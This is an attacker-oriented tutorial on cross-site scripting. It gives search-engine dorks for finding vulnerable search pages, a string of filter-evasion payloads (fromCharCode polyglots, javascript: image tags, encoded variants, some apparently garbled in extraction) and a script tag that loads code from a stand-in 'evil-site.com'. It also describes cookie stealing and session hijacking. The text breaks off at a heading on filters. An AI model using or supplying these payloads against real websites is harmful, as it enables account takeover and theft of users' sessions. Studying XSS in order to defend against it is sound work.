Non Persistent XSS attack
The next type of loophole
is the most common type of XSS vulnerability. It is used to reflect a
non-persistent vulnerability. This happens when data provided by a web user is
immediately used by any scripts on the server to create results which are
displayed to the client, as is commonly seen with search box or text box. When
user-delivered data is not verified, some results could include a client-side
script that is launch in the browser instead of HTML.
Inurl:.com/search.php?search=
Inurl:
/search.php?search=
Inurl:/search
Site.com/search.php?search=<font
color=red>jaggi</font>
Site.com/search.php?search=<script>alert("jaggi");</script>
If no sanitation checks are being
performed by the search script, this will just be echoed straight onto the
page, therefore displaying an alert or red text. If there was no limit to the
size, this could be used to display anything you want.
However, since the attacker can only
display code on their own pages, this isn't much of a threat to other users.
Although if the string was turned into Hex the search string may be slightly
more hidden and with a little deception could be used to trick users into thinking
the link is legitimate.
Again as the name suggests, this is
the type of XSS attack the attacker would want to get. Persistent attacks are
injected permanently into the code of the site, so anyone who views the site
will be able to see permanently. In order for these to work, the code has to be
made to store itself on the sites server somehow, which can be hard to find.
An embarrassing example of this
was an XSS vulnerability discovered on this site by one of our users (fixed
now, obviously) affecting the page all.php. The register process wasn't
sanitized at all, so all a user had to do was simply register with a username
containing HTML or JavaScript code. This was an obvious vulnerability which
should have been spotted from the beginning, but just like XSS on other sites
it was missed. If not fixed, this vulnerability would effect all.php as well as
the forums and anywhere where the username was displayed on the site. A good
place to look out for this vulnerability is basic forum scripts that site
owners have made themselves or found off sites designed to help novices.
With both of these attacks,
it is also possible to run malicious code from another site again making the
possibilities of attack endless. Javascript has a lot of features the are not
well known, such as changing the images on sites from mages[number].src and
anyone who uses myspace will know the CSS can be used to remove or replace
certain sections of a site based on name. If you have a permanently vulnerable
site, injecting code as simple as the one below will allow you to run XSS off
another site:
<SCRIPT
SRC=http://evil-site.com/xss.js> </SCRIPT>
Getting Past Basic
Protection
So what if a site owner
knows about XSS, but has provided some but very little protection against it?
Well, this is where Char Code comes in. Char code is basically just a simple
form of character encoding that can encode blocked characters so they get past
the protection but still get displayed normally on the page. Here is a very
common one that will pop up alerts saying "XSS" if it is vulnerable:
';alert(String.fromCharCode(88,83,83))//\';
alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//\";
alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>
alert(String.fromCharCode(88,83,83))</SCRIPT>
This is a very useful
XSS to know, as it provides more than one type of attack at once. If you get
only one or two alerts, you know that only one of two of them work, so you need
to try to eliminate some of them to text which one is affecting the site. The
CharCode for "X" is 88 and "S" is 83. As you can see, each
provides a slight variation to try to beat character blocking.
XSS could also be
hidden in a none existent image. This code below would run malicious JavaScript
disguised as an image:
<img
src="javascript:alert('jaggi');">
What if quotes are
blocked? No problem, just inject the site like so:
<img
src=javascript:alert("XSS")>
The " will be
interpreted in html as a " so the code will run fine. The next one below
is very likely to work if you find a site is vulnerable.
<img
src=javascript:alert(String.fromCharCode(88,83,83))>
The XSS is hidden in
image form and CharCode is being used to display the XSS vulnerability.
Now things get slightly
more complicated as we enter ASCII and Unicode. Unicode is just a basic code
that was invented to allow all characters to be available to everyone e.g. for
different languages such as chinese character symbols. And ASCII has a similar
purpose. You can go to http://www.asciitable.com to view the HTML code needed
for ASCII code. This below shows the whole code in ASCII form:
<img
src=javasc
ript:ale
rt('XSS')>
As you can tell, this
will beat many filters as the code is basically unrecognisable. However,
translating the code can display what it was designed to do. Next for Unicode,
again this makes the text unrecognisable but works the same:
<img
src=java
scrip
t:ale
rt('X
SS')>
If the site has a
limited amount of characters allowed, this probably won't be useful. As
mentioned previously, hex can also be used for XSS. The example below shows
this:
<IMG
SRC=javascri
pt:alert('
XSS')>
Again unrecognisable
which makes it a great XSS to use.
The list of possible
XSS attacks is endless and is far more than is covered here. With so many ways
to bypass security checks site owners have to work harder to try to protect
their sites. As well as web forms being used on most sites these days allowing
users to enter code which will be stored somewhere and inevitably viewed by
someone else XSS can be used for almost anything. With practise XSS can be used
to run a hidden cookie stealer which a user will view and allow you to steal
their login info or if sessions are used perform "session hijacking"
where you steal their session data and again log in as them. To the simple
defacement of a website through HTML or Javascript. XSS is definitely an attack
method which should be studied well as it provides such a common method of
attack.
As mentioned above, the
list of possible XSS attacks is endless, there isn't enough room to mention
them here, but I will finish with some more XSS examples that may effect a
vulnerable site.
Filters Of XSS
public static function
Xss::filter
